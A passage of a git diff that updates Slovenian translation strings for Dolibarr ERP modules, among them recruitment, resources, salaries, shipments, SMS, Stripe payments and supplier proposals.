+ProductQtyInReceptionAlreadySent=Količina izdelka iz odprtega prodajnega naročila je že poslana +ProductQtyInSuppliersReceptionAlreadyRecevied=Količina izdelka iz odprtega naročila dobavitelja je že prejeta +ValidateOrderFirstBeforeReception=Pred sprejemom morate najprej potrditi naročilo. +ReceptionsNumberingModules=Modul oštevilčenja za sprejeme +ReceptionsReceiptModel=Predloge dokumentov za sprejeme +NoMorePredefinedProductToDispatch=Nič več vnaprej določenih izdelkov za pošiljanje +ReceptionExist=Recepcija obstaja +ReceptionBackToDraftInDolibarr=Sprejem %s nazaj na osnutek +ReceptionClassifyClosedInDolibarr=Sprejem %s tajno Zaprto +ReceptionUnClassifyCloseddInDolibarr=Recepcija %s ponovno odprta diff --git a/htdocs/langs/sl_SI/recruitment.lang b/htdocs/langs/sl_SI/recruitment.lang index fab155f38a6..1af1c439647 100644 --- a/htdocs/langs/sl_SI/recruitment.lang +++ b/htdocs/langs/sl_SI/recruitment.lang @@ -18,59 +18,62 @@ # # Module label 'ModuleRecruitmentName' -ModuleRecruitmentName = Recruitment +ModuleRecruitmentName = Zaposlovanje # Module description 'ModuleRecruitmentDesc' -ModuleRecruitmentDesc = Manage and follow recruitment campaigns for new job positions +ModuleRecruitmentDesc = Upravljajte in spremljajte zaposlovalne kampanje za nova delovna mesta # # Admin page # -RecruitmentSetup = Recruitment setup -Settings = Settings -RecruitmentSetupPage = Enter here the setup of main options for the recruitment module -RecruitmentArea=Recruitement area -PublicInterfaceRecruitmentDesc=Public pages of jobs are public URLs to show and answer to open jobs. There is one different link for each open job, found on each job record. -EnablePublicRecruitmentPages=Enable public pages of open jobs +RecruitmentSetup = Nastavitev zaposlovanja +Settings = nastavitve +RecruitmentSetupPage = Tukaj vnesite nastavitev glavnih možnosti za modul zaposlovanja +RecruitmentArea=Območje zaposlovanja +PublicInterfaceRecruitmentDesc=Javne strani delovnih mest so javni URL-ji za prikaz in odgovore na odprta delovna mesta. Za vsako odprto delovno mesto obstaja ena druga povezava, ki jo najdete v zapisu vsakega delovnega mesta. +EnablePublicRecruitmentPages=Omogoči javne strani odprtih delovnih mest # # About page # About = O programu -RecruitmentAbout = About Recruitment -RecruitmentAboutPage = Recruitment about page -NbOfEmployeesExpected=Expected nb of employees -JobLabel=Label of job position -WorkPlace=Work place -DateExpected=Expected date -FutureManager=Future manager -ResponsibleOfRecruitement=Responsible of recruitment -IfJobIsLocatedAtAPartner=If job is located at a partner place -PositionToBeFilled=Job position -PositionsToBeFilled=Job positions -ListOfPositionsToBeFilled=List of job positions -NewPositionToBeFilled=New job positions +RecruitmentAbout = O zaposlovanju +RecruitmentAboutPage = Stran o zaposlovanju +NbOfEmployeesExpected=Pričakovano št. zaposlenih +JobLabel=Oznaka delovnega mesta +WorkPlace=Delovno mesto +DateExpected=Predvideni datum +FutureManager=Bodoči menedžer +ResponsibleOfRecruitement=Odgovoren za zaposlovanje +IfJobIsLocatedAtAPartner=Če je delovno mesto pri partnerju +PositionToBeFilled=Delovno mesto +PositionsToBeFilled=Delovna mesta +ListOfPositionsToBeFilled=Seznam delovnih mest +NewPositionToBeFilled=Nova delovna mesta -JobOfferToBeFilled=Job position to be filled -ThisIsInformationOnJobPosition=Information of the job position to be filled -ContactForRecruitment=Contact for recruitment -EmailRecruiter=Email recruiter -ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used -NewCandidature=New application -ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration -ContractProposed=Contract proposed -ContractSigned=Contract signed -ContractRefused=Contract refused -RecruitmentCandidature=Application -JobPositions=Job positions -RecruitmentCandidatures=Applications -InterviewToDo=Interview to do -AnswerCandidature=Application answer -YourCandidature=Your application -YourCandidatureAnswerMessage=Thanks you for your application.
      ... -JobClosedTextCandidateFound=The job position is closed. The position has been filled. -JobClosedTextCanceled=The job position is closed. -ExtrafieldsJobPosition=Complementary attributes (job positions) -ExtrafieldsApplication=Complementary attributes (job applications) -MakeOffer=Make an offer +JobOfferToBeFilled=Delovno mesto, ki ga je treba zapolniti +ThisIsInformationOnJobPosition=Informacije o delovnem mestu, ki ga je treba zapolniti +ContactForRecruitment=Kontakt za zaposlovanje +EmailRecruiter=E-poštni nabornik +ToUseAGenericEmail=Za uporabo splošne e-pošte. Če ni določen, bo uporabljen e-poštni naslov odgovornega za zaposlovanje +NewCandidature=Nova aplikacija +ListOfCandidatures=Seznam aplikacij +Remuneration=Plača +RequestedRemuneration=Zahtevana plača +ProposedRemuneration=Predlagana plača +ContractProposed=Predlagana pogodba +ContractSigned=Pogodba podpisana +ContractRefused=Pogodba zavrnjena +RecruitmentCandidature=Aplikacija +JobPositions=Delovna mesta +RecruitmentCandidatures=Aplikacije +InterviewToDo=Stiki za spremljanje +AnswerCandidature=Odgovor na prijavo +YourCandidature=Vaša prijava +YourCandidatureAnswerMessage=Hvala za vašo prijavo.
      ... +JobClosedTextCandidateFound=Delovno mesto je zaprto. Mesto je zasedeno. +JobClosedTextCanceled=Delovno mesto je zaprto. +ExtrafieldsJobPosition=Dopolnilni atributi (delovna mesta) +ExtrafieldsApplication=Dopolnilni atributi (prošnje za delo) +MakeOffer=Daj ponudbo +WeAreRecruiting=Zaposlujemo. To je seznam odprtih delovnih mest, ki jih je treba zapolniti... +NoPositionOpen=Trenutno ni odprtih pozicij diff --git a/htdocs/langs/sl_SI/resource.lang b/htdocs/langs/sl_SI/resource.lang index 45be48122e2..37007edfbef 100644 --- a/htdocs/langs/sl_SI/resource.lang +++ b/htdocs/langs/sl_SI/resource.lang @@ -1,36 +1,39 @@ # Dolibarr language file - Source file is en_US - resource MenuResourceIndex=Viri -MenuResourceAdd=New resource -DeleteResource=Delete resource -ConfirmDeleteResourceElement=Confirm delete the resource for this element -NoResourceInDatabase=No resource in database. -NoResourceLinked=No resource linked +MenuResourceAdd=Nov vir +DeleteResource=Izbriši vir +ConfirmDeleteResourceElement=Potrdite brisanje vira za ta element +NoResourceInDatabase=Ni vira v bazi podatkov. +NoResourceLinked=Noben vir ni povezan +ActionsOnResource=Dogodki o tem viru +ResourcePageIndex=Seznam virov +ResourceSingular=Vir +ResourceCard=Kartica virov +AddResource=Ustvarite vir +ResourceFormLabel_ref=Ime vira +ResourceType=Vrsta vira +ResourceFormLabel_description=Opis vira -ResourcePageIndex=Resources list -ResourceSingular=Resource -ResourceCard=Resource card -AddResource=Create a resource -ResourceFormLabel_ref=Resource name -ResourceType=Resource type -ResourceFormLabel_description=Resource description +ResourcesLinkedToElement=Viri, povezani z elementom -ResourcesLinkedToElement=Resources linked to element +ShowResource=Pokaži vir -ShowResource=Show resource +ResourceElementPage=Viri elementov +ResourceCreatedWithSuccess=Vir je bil uspešno ustvarjen +RessourceLineSuccessfullyDeleted=Vrstica vira je bila uspešno izbrisana +RessourceLineSuccessfullyUpdated=Vrstica virov je bila uspešno posodobljena +ResourceLinkedWithSuccess=Vir, povezan z uspehom -ResourceElementPage=Element resources -ResourceCreatedWithSuccess=Resource successfully created -RessourceLineSuccessfullyDeleted=Resource line successfully deleted -RessourceLineSuccessfullyUpdated=Resource line successfully updated -ResourceLinkedWithSuccess=Resource linked with success +ConfirmDeleteResource=Potrdite, da izbrišete ta vir +RessourceSuccessfullyDeleted=Vir je bil uspešno izbrisan +DictionaryResourceType=Vrsta virov -ConfirmDeleteResource=Confirm to delete this resource -RessourceSuccessfullyDeleted=Resource successfully deleted -DictionaryResourceType=Type of resources +SelectResource=Izberite vir -SelectResource=Select resource - -IdResource=Id resource -AssetNumber=Serial number -ResourceTypeCode=Resource type code +IdResource=ID vir +AssetNumber=Serijska številka +ResourceTypeCode=Koda vrste vira ImportDataset_resource_1=Viri + +ErrorResourcesAlreadyInUse=Nekateri viri so v uporabi +ErrorResourceUseInEvent=%s uporabljeno v dogodku %s diff --git a/htdocs/langs/sl_SI/salaries.lang b/htdocs/langs/sl_SI/salaries.lang index a29f6d0dd9a..4e7511b5ba3 100644 --- a/htdocs/langs/sl_SI/salaries.lang +++ b/htdocs/langs/sl_SI/salaries.lang @@ -1,26 +1,27 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Accounting account used for user third parties -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. -SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Accounting account by default for wage payments -CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Privzeti računovodski račun za izplačila plač +CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Pri ustvarjanju plače privzeto pustite prazno možnost »Samodejno ustvari skupno plačilo«. Salary=Plača Salaries=Plače -NewSalary=New salary -AddSalary=Add salary -NewSalaryPayment=New salary card -AddSalaryPayment=Add salary payment +NewSalary=Nova plača +AddSalary=Dodajte plačo +NewSalaryPayment=Nova plačna kartica +AddSalaryPayment=Dodajte izplačilo plače SalaryPayment=Izplačilo plače SalariesPayments=Izplačila plač -SalariesPaymentsOf=Salaries payments of %s +SalariesPaymentsOf=Izplačila plač %s ShowSalaryPayment=Prikaži izplačilo plač -THM=Average hourly rate -TJM=Average daily rate +THM=Povprečna urna postavka +TJM=Povprečna dnevna stopnja CurrentSalary=Trenutna plača -THMDescription=This value may be used to calculate the cost of time consumed on a project entered by users if module project is used -TJMDescription=This value is currently for information only and is not used for any calculation -LastSalaries=Latest %s salaries -AllSalaries=All salaries -SalariesStatistics=Salary statistics -SalariesAndPayments=Salaries and payments -ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? -FillFieldFirst=Fill employee field first +THMDescription=Ta vrednost se lahko uporabi za izračun stroškov časa, porabljenega za projekt, ki so ga vnesli uporabniki, če je uporabljen projekt modula +TJMDescription=Ta vrednost je trenutno samo informativna in se ne uporablja za noben izračun +LastSalaries=Zadnje %s plače +AllSalaries=Vse plače +SalariesStatistics=Statistika plač +SalariesAndPayments=Plače in plačila +ConfirmDeleteSalaryPayment=Ali želite izbrisati to izplačilo plače? +FillFieldFirst=Najprej izpolnite polje zaposlenega +UpdateAmountWithLastSalary=Nastavite znesek z zadnjo plačo diff --git a/htdocs/langs/sl_SI/sendings.lang b/htdocs/langs/sl_SI/sendings.lang index 04920320919..0561a7a4749 100644 --- a/htdocs/langs/sl_SI/sendings.lang +++ b/htdocs/langs/sl_SI/sendings.lang @@ -2,32 +2,32 @@ RefSending=Referenca pošiljke Sending=Odprema Sendings=Pošiljke -AllSendings=All Shipments +AllSendings=Vse pošiljke Shipment=Odprema Shipments=Odpreme -ShowSending=Show Shipments -Receivings=Delivery Receipts +ShowSending=Prikaži pošiljke +Receivings=Potrdila o dostavi SendingsArea=Področje pošiljk ListOfSendings=Seznam pošiljk SendingMethod=Način pošiljanja -LastSendings=Latest %s shipments +LastSendings=Najnovejše pošiljke %s StatisticsOfSendings=Statistika pošiljk NbOfSendings=Število pošiljk NumberOfShipmentsByMonth=Število pošiljk po mesecih -SendingCard=Shipment card +SendingCard=Pošiljna kartica NewSending=Nova pošiljka CreateShipment=Kreiranje pošiljke QtyShipped=Poslana količina -QtyShippedShort=Qty ship. -QtyPreparedOrShipped=Qty prepared or shipped +QtyShippedShort=Količina ladje. +QtyPreparedOrShipped=Količina pripravljena ali poslana QtyToShip=Količina za pošiljanje -QtyToReceive=Qty to receive +QtyToReceive=Količina za prejem QtyReceived=Prejeta količina -QtyInOtherShipments=Qty in other shipments -KeepToShip=Remain to ship -KeepToShipShort=Remain +QtyInOtherShipments=Količina v drugih pošiljkah +KeepToShip=Ostanek za pošiljanje +KeepToShipShort=Ostani OtherSendingsForSameOrder=Ostale pošiljke za to naročilo -SendingsAndReceivingForSameOrder=Shipments and receipts for this order +SendingsAndReceivingForSameOrder=Pošiljke in potrdila za to naročilo SendingsToValidate=Pošiljke za potrditev StatusSendingCanceled=Preklicano StatusSendingCanceledShort=Preklicano @@ -37,40 +37,40 @@ StatusSendingProcessed=Obdelani StatusSendingDraftShort=Osnutek StatusSendingValidatedShort=Potrjena StatusSendingProcessedShort=Obdelani -SendingSheet=Shipment sheet -ConfirmDeleteSending=Are you sure you want to delete this shipment? -ConfirmValidateSending=Are you sure you want to validate this shipment with reference %s? -ConfirmCancelSending=Are you sure you want to cancel this shipment? +SendingSheet=Odpremni list +ConfirmDeleteSending=Ali ste prepričani, da želite izbrisati to pošiljko? +ConfirmValidateSending=Ali ste prepričani, da želite potrditi to pošiljko s sklicem %s ? +ConfirmCancelSending=Ali ste prepričani, da želite preklicati to pošiljko? DocumentModelMerou=Vzorec dokumenta Merou A5 WarningNoQtyLeftToSend=Pozor, noben proizvod ne čaka na pošiljanje. -StatsOnShipmentsOnlyValidated=Statistics are only for validated shipments. Date used is the date of validation of shipment (planned delivery date is not always known) -DateDeliveryPlanned=Planned date of delivery -RefDeliveryReceipt=Ref delivery receipt -StatusReceipt=Status delivery receipt +StatsOnShipmentsOnlyValidated=Statistika je samo za potrjene pošiljke. Uporabljeni datum je datum potrditve pošiljke (načrtovani datum dostave ni vedno znan) +DateDeliveryPlanned=Načrtovani datum dostave +RefDeliveryReceipt=Ref potrdilo o dostavi +StatusReceipt=Potrdilo o dostavi statusa DateReceived=Datum prejema dobave -ClassifyReception=Classify reception -SendShippingByEMail=Send shipment by email +ClassifyReception=Razvrsti sprejem +SendShippingByEMail=Pošljite pošiljko po elektronski pošti SendShippingRef=Oddaja pošiljke %s ActionsOnShipping=Aktivnosti v zvezi z odpremnico LinkToTrackYourPackage=Povezave za sledenje vaše pošiljke -ShipmentCreationIsDoneFromOrder=For the moment, creation of a new shipment is done from the Sales Order record. +ShipmentCreationIsDoneFromOrder=Zaenkrat se kreiranje nove pošiljke izvede iz zapisa Prodajni nalog. ShipmentLine=Vrstica na odpremnici -ProductQtyInCustomersOrdersRunning=Product quantity from open sales orders -ProductQtyInSuppliersOrdersRunning=Product quantity from open purchase orders -ProductQtyInShipmentAlreadySent=Product quantity from open sales order already sent -ProductQtyInSuppliersShipmentAlreadyRecevied=Product quantity from open purchase orders already received -NoProductToShipFoundIntoStock=No product to ship found in warehouse %s. Correct stock or go back to choose another warehouse. -WeightVolShort=Weight/Vol. -ValidateOrderFirstBeforeShipment=You must first validate the order before being able to make shipments. +ProductQtyInCustomersOrdersRunning=Količina izdelkov iz odprtih prodajnih naročil +ProductQtyInSuppliersOrdersRunning=Količina izdelkov iz odprtih naročilnic +ProductQtyInShipmentAlreadySent=Količina izdelka iz odprtega prodajnega naročila je že poslana +ProductQtyInSuppliersShipmentAlreadyRecevied=Količina izdelkov iz že prejetih odprtih naročilnic +NoProductToShipFoundIntoStock=V skladišču ni bilo mogoče najti nobenega izdelka za pošiljanje %s . Popravite zalogo ali se vrnite in izberite drugo skladišče. +WeightVolShort=Teža/prostornina +ValidateOrderFirstBeforeShipment=Preden lahko pošiljate pošiljke, morate najprej potrditi naročilo. # Sending methods # ModelDocument DocumentModelTyphon=Popolnejši vzorec dobavnice (logo...) -DocumentModelStorm=More complete document model for delivery receipts and extrafields compatibility (logo...) +DocumentModelStorm=Popolnejši model dokumenta za združljivost potrdil o dostavi in dodatnih polj (logotip...) Error_EXPEDITION_ADDON_NUMBER_NotDefined== SumOfProductVolumes=Vsota volumnov proizvodov SumOfProductWeights=Vsota tež proizvodov # warehouse details -DetailWarehouseNumber= Warehouse details -DetailWarehouseFormat= W:%s (Qty: %d) +DetailWarehouseNumber= Podrobnosti o skladišču +DetailWarehouseFormat= W:%s (Št.: %d) diff --git a/htdocs/langs/sl_SI/sms.lang b/htdocs/langs/sl_SI/sms.lang index 96ce4a6a465..3015b81e250 100644 --- a/htdocs/langs/sl_SI/sms.lang +++ b/htdocs/langs/sl_SI/sms.lang @@ -1,9 +1,9 @@ # Dolibarr language file - Source file is en_US - sms Sms=SMS -SmsSetup=Nastavitev SMS -SmsDesc=Ta stran omogoča defenicijo globalnih opcij za funkcije SMS +SmsSetup=nastavitev SMS-a +SmsDesc=Ta stran vam omogoča, da določite globalne možnosti za funkcije SMS SmsCard=SMS kartica -AllSms=Vse SMS kampanje +AllSms=Vse SMS akcije SmsTargets=Cilji SmsRecipients=Prejemniki SmsRecipient=Prejemnik @@ -14,17 +14,17 @@ SmsTopic=SMS zadeva SmsText=Sporočilo SmsMessage=SMS sporočilo ShowSms=Prikaži SMS -ListOfSms=Seznam SMS kampanj -NewSms=Nova SMS kampanja +ListOfSms=Seznam SMS akcij +NewSms=Nova SMS akcija EditSms=Uredi SMS ResetSms=Ponovno pošiljanje -DeleteSms=Brisanje SMS kampanje -DeleteASms=Osdstrani SMS kampanjo -PreviewSms=Predogled SMS -PrepareSms=Priprava SMS +DeleteSms=Izbriši SMS akcijo +DeleteASms=Odstranite SMS akcijo +PreviewSms=Prejšnji SMS +PrepareSms=Pripravite SMS CreateSms=Ustvari SMS -SmsResult=Rezultatipošiljanja SMS -TestSms=Testiraj SMS +SmsResult=Rezultat pošiljanja SMS-a +TestSms=Test SMS ValidSms=Potrdi SMS ApproveSms=Odobri SMS SmsStatusDraft=Osnutek @@ -35,17 +35,17 @@ SmsStatusSentPartialy=Delno poslan SmsStatusSentCompletely=Poslan v celoti SmsStatusError=Napaka SmsStatusNotSent=Ni poslan -SmsSuccessfulySent=SMS uspešno poslan (od %s do %s) +SmsSuccessfulySent=SMS pravilno poslan (od %s do %s) ErrorSmsRecipientIsEmpty=Številka prekjemnika ne obstaja WarningNoSmsAdded=Ni nove številke za dodajanje med prejemnike -ConfirmValidSms=Do you confirm validation of this campain? -NbOfUniqueSms=Število enoličnih telefonskih številk +ConfirmValidSms=Ali potrjujete potrditev te akcije? +NbOfUniqueSms=Število edinstvenih telefonskih številk NbOfSms=Število telefonskih številk ThisIsATestMessage=To je tekstovno sporočilo SendSms=Pošlji SMS -SmsInfoCharRemain=Število preostalih znakov -SmsInfoNumero= (mednarodni format npr : +33899701761) +SmsInfoCharRemain=Št. preostalih znakov +SmsInfoNumero= (mednarodna oblika npr.: +33899701761) DelayBeforeSending=Zakasnitev začetka pošiljanja (minut) SmsNoPossibleSenderFound=Posrednik ni nastavljen. Preverite nastavitve vašega SMS posrednika. SmsNoPossibleRecipientFound=Ni prejemnika. Preverite nastavitve vašega SMS providerja. -DisableStopIfSupported=Disable STOP message (if supported) +DisableStopIfSupported=Onemogoči sporočilo STOP (če je podprto) diff --git a/htdocs/langs/sl_SI/stripe.lang b/htdocs/langs/sl_SI/stripe.lang index 8978d6ad897..a466078985c 100644 --- a/htdocs/langs/sl_SI/stripe.lang +++ b/htdocs/langs/sl_SI/stripe.lang @@ -1,71 +1,78 @@ # Dolibarr language file - Source file is en_US - stripe -StripeSetup=Stripe module setup -StripeDesc=Offer your customers an online payment page for payments with credit/debit cards via Stripe. This can be used to allow your customers to make ad-hoc payments or for payments related to a particular Dolibarr object (invoice, order, ...) -StripeOrCBDoPayment=Pay with credit card or Stripe +StripeSetup=Nastavitev modula Stripe +StripeDesc=Ponudite svojim strankam spletno plačilno stran za plačila s kreditnimi/debetnimi karticami prek Stripe . To lahko uporabite, da svojim strankam omogočite ad hoc plačila ali za plačila v zvezi z določenim objektom Dolibarr (račun, naročilo, ...) +StripeOrCBDoPayment=Plačajte s kreditno kartico ali Stripe FollowingUrlAreAvailableToMakePayments=Naslednji URL naslovi so na voljo kupcem za izvedbo plačil Dolibarr postavk PaymentForm=Obrazec za plačilo -WelcomeOnPaymentPage=Welcome to our online payment service +WelcomeOnPaymentPage=Dobrodošli v naši spletni plačilni storitvi ThisScreenAllowsYouToPay=Ta zaslon omogoča online plačilo za %s. ThisIsInformationOnPayment=To je informacija o potrebnem plačilu ToComplete=Za dokončanje YourEMail=E-pošta za potrditev plačila -STRIPE_PAYONLINE_SENDEMAIL=Email notification after a payment attempt (success or fail) +STRIPE_PAYONLINE_SENDEMAIL=E-poštno obvestilo po poskusu plačila (uspešnem ali neuspešnem) Creditor=Upnik PaymentCode=Koda plačila -StripeDoPayment=Pay with Stripe -YouWillBeRedirectedOnStripe=You will be redirected on secured Stripe page to input you credit card information +StripeDoPayment=Plačajte s Stripe +YouWillBeRedirectedOnStripe=Preusmerjeni boste na zaščiteno stran Stripe, da vnesete podatke o svoji kreditni kartici Continue=Naslednji ToOfferALinkForOnlinePayment=URL za %s plačila -ToOfferALinkForOnlinePaymentOnOrder=URL to offer a %s online payment page for a sales order -ToOfferALinkForOnlinePaymentOnInvoice=URL to offer a %s online payment page for a customer invoice -ToOfferALinkForOnlinePaymentOnContractLine=URL to offer a %s online payment page for a contract line -ToOfferALinkForOnlinePaymentOnFreeAmount=URL to offer a %s online payment page of any amount with no existing object -ToOfferALinkForOnlinePaymentOnMemberSubscription=URL to offer a %s online payment page for a member subscription -ToOfferALinkForOnlinePaymentOnDonation=URL to offer a %s online payment page for payment of a donation -YouCanAddTagOnUrl=You can also add url parameter &tag=value to any of those URL (mandatory only for payment not linked to an object) to add your own payment comment tag.
      For the URL of payments with no existing object, you may also add the parameter &noidempotency=1 so the same link with same tag can be used several times (some payment mode may limit the payment to 1 for each different link without this parameter) -SetupStripeToHavePaymentCreatedAutomatically=Setup your Stripe with url %s to have payment created automatically when validated by Stripe. +ToOfferALinkForOnlinePaymentOnOrder=URL za ponudbo %s strani za spletno plačilo za prodajno naročilo +ToOfferALinkForOnlinePaymentOnInvoice=URL za ponudbo %s strani za spletno plačilo za račun stranke +ToOfferALinkForOnlinePaymentOnContractLine=URL za ponudbo %s spletne plačilne strani za pogodbeno vrstico +ToOfferALinkForOnlinePaymentOnFreeAmount=URL za ponudbo %s strani za spletno plačilo poljubnega zneska brez obstoječega predmeta +ToOfferALinkForOnlinePaymentOnMemberSubscription=URL za ponudbo %s strani za spletno plačilo za člansko naročnino +ToOfferALinkForOnlinePaymentOnDonation=URL za ponudbo %s spletne plačilne strani za plačilo donacije +YouCanAddTagOnUrl=Parameter URL-ja &tag= vrednost lahko dodate tudi kateremu koli od teh URL-jev (obvezno samo za plačilo, ki ni povezano s predmetom), da dodate lastno oznako komentarja o plačilu.
      Za URL plačil brez obstoječega predmeta lahko dodate tudi parameter &noidempotency=1 , tako da je mogoče isto povezavo z isto oznako uporabiti večkrat (nekateri načini plačila lahko omejijo plačilo na 1 za vsako različno povezavo brez tega parameter) +SetupStripeToHavePaymentCreatedAutomatically=Nastavite svoj Stripe z url %s , da se plačilo samodejno ustvari, ko ga potrdi Stripe. AccountParameter=Parametri računa UsageParameter=Parametri uporabe InformationToFindParameters=Pomoč pri iskanju informacij računa %s -STRIPE_CGI_URL_V2=Url of Stripe CGI module for payment +STRIPE_CGI_URL_V2=URL modula Stripe CGI za plačilo CSSUrlForPaymentForm=url CSS vzorca obrazca plačila -NewStripePaymentReceived=New Stripe payment received -NewStripePaymentFailed=New Stripe payment tried but failed -FailedToChargeCard=Failed to charge card -STRIPE_TEST_SECRET_KEY=Secret test key -STRIPE_TEST_PUBLISHABLE_KEY=Publishable test key -STRIPE_TEST_WEBHOOK_KEY=Webhook test key -STRIPE_LIVE_SECRET_KEY=Secret live key -STRIPE_LIVE_PUBLISHABLE_KEY=Publishable live key -STRIPE_LIVE_WEBHOOK_KEY=Webhook live key -ONLINE_PAYMENT_WAREHOUSE=Stock to use for stock decrease when online payment is done
      (TODO When option to decrease stock is done on an action on invoice and the online payment generate itself the invoice ?) -StripeLiveEnabled=Stripe live enabled (otherwise test/sandbox mode) -StripeImportPayment=Import Stripe payments -ExampleOfTestCreditCard=Example of credit card for test: %s => valid, %s => error CVC, %s => expired, %s => charge fails -StripeGateways=Stripe gateways -OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca_...) -OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca_...) -BankAccountForBankTransfer=Bank account for fund payouts -StripeAccount=Stripe account -StripeChargeList=List of Stripe charges -StripeTransactionList=List of Stripe transactions -StripeCustomerId=Stripe customer id -StripePaymentModes=Stripe payment modes -LocalID=Local ID +NewStripePaymentReceived=Prejeto novo plačilo Stripe +NewStripePaymentFailed=Poskusilo novo plačilo Stripe, vendar neuspešno +FailedToChargeCard=Kartice ni bilo mogoče bremeniti +STRIPE_TEST_SECRET_KEY=Tajni testni ključ +STRIPE_TEST_PUBLISHABLE_KEY=Preskusni ključ za objavo +STRIPE_TEST_WEBHOOK_KEY=Preizkusni ključ Webhook +STRIPE_LIVE_SECRET_KEY=Tajni ključ v živo +STRIPE_LIVE_PUBLISHABLE_KEY=Objavljiv ključ v živo +STRIPE_LIVE_WEBHOOK_KEY=Ključ v živo Webhook +ONLINE_PAYMENT_WAREHOUSE=Zaloga, ki se uporabi za zmanjšanje zaloge, ko je opravljeno spletno plačilo
      (TODO Ko se izvede možnost zmanjšanja zaloge za dejanje na računu in spletno plačilo samo ustvari račun?) +StripeLiveEnabled=Stripe v živo omogočen (sicer preskusni/peskovniški način) +StripeImportPayment=Uvozite plačila Stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s +StripeGateways=Stripe prehodi +OAUTH_STRIPE_TEST_ID=ID odjemalca Stripe Connect (ca_...) +OAUTH_STRIPE_LIVE_ID=ID odjemalca Stripe Connect (ca_...) +BankAccountForBankTransfer=Bančni račun za izplačila sredstev +StripeAccount=Stripe račun +StripeChargeList=Seznam stroškov Stripe +StripeTransactionList=Seznam transakcij Stripe +StripeCustomerId=ID stranke Stripe +StripePaymentModes=Načini plačila Stripe +LocalID=Lokalni ID StripeID=Stripe ID -NameOnCard=Name on card -CardNumber=Card Number -ExpiryDate=Expiry Date +NameOnCard=Ime na kartici +CardNumber=Številka kartice +ExpiryDate=Rok uporabnosti CVN=CVN -DeleteACard=Delete Card -ConfirmDeleteCard=Are you sure you want to delete this Credit or Debit card? -CreateCustomerOnStripe=Create customer on Stripe -CreateCardOnStripe=Create card on Stripe -ShowInStripe=Show in Stripe -StripeUserAccountForActions=User account to use for email notification of some Stripe events (Stripe payouts) -StripePayoutList=List of Stripe payouts -ToOfferALinkForTestWebhook=Link to setup Stripe WebHook to call the IPN (test mode) -ToOfferALinkForLiveWebhook=Link to setup Stripe WebHook to call the IPN (live mode) -PaymentWillBeRecordedForNextPeriod=Payment will be recorded for the next period. -ClickHereToTryAgain=Click here to try again... -CreationOfPaymentModeMustBeDoneFromStripeInterface=Due to Strong Customer Authentication rules, creation of a card must be done from Stripe backoffice. You can click here to switch on Stripe customer record: %s +DeleteACard=Izbriši kartico +ConfirmDeleteCard=Ali ste prepričani, da želite izbrisati to kreditno ali debetno kartico? +CreateCustomerOnStripe=Ustvari stranko na Stripe +CreateCardOnStripe=Ustvarite kartico na Stripe +CreateBANOnStripe=Ustvari banko na Stripe +ShowInStripe=Prikaži v Stripe +StripeUserAccountForActions=Uporabniški račun za uporabo za e-poštno obveščanje o nekaterih dogodkih Stripe (izplačila Stripe) +StripePayoutList=Seznam izplačil Stripe +ToOfferALinkForTestWebhook=Povezava do nastavitve Stripe WebHook za klic IPN (testni način) +ToOfferALinkForLiveWebhook=Povezava za nastavitev Stripe WebHook za klic IPN (način v živo) +PaymentWillBeRecordedForNextPeriod=Plačilo bo evidentirano za naslednje obdobje. +ClickHereToTryAgain= Kliknite tukaj, če želite poskusiti znova ... +CreationOfPaymentModeMustBeDoneFromStripeInterface=Zaradi pravil stroge avtentikacije strank je treba kartico ustvariti v zaledni pisarni Stripe. Tukaj lahko kliknete, da vklopite evidenco strank Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Zahtevajte direktno bremenitev s Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/sl_SI/supplier_proposal.lang b/htdocs/langs/sl_SI/supplier_proposal.lang index ecd2bd37b74..eb24c199f41 100644 --- a/htdocs/langs/sl_SI/supplier_proposal.lang +++ b/htdocs/langs/sl_SI/supplier_proposal.lang @@ -1,54 +1,58 @@ # Dolibarr language file - Source file is en_US - supplier_proposal -SupplierProposal=Vendor commercial proposals -supplier_proposalDESC=Manage price requests to suppliers -SupplierProposalNew=New price request -CommRequest=Price request -CommRequests=Price requests -SearchRequest=Find a request -DraftRequests=Draft requests -SupplierProposalsDraft=Draft vendor proposals -LastModifiedRequests=Latest %s modified price requests -RequestsOpened=Open price requests -SupplierProposalArea=Vendor proposals area -SupplierProposalShort=Vendor proposal -SupplierProposals=Vendor proposals -SupplierProposalsShort=Vendor proposals -NewAskPrice=New price request -ShowSupplierProposal=Show price request -AddSupplierProposal=Create a price request -SupplierProposalRefFourn=Vendor ref +SupplierProposal=Komercialne ponudbe dobaviteljev +supplier_proposalDESC=Upravljajte zahteve po cenah dobaviteljem +SupplierProposalNew=Nova zahteva po ceni +CommRequest=Zahteva po ceni +CommRequests=Zahteve po ceni +SearchRequest=Poiščite zahtevo +DraftRequests=Osnutki zahtev +SupplierProposalsDraft=Osnutki ponudb dobaviteljev +LastModifiedRequests=Zadnje %s spremenjene zahteve po cenah +RequestsOpened=Odprto povpraševanje po cenah +SupplierProposalArea=Ponudbe dobaviteljev 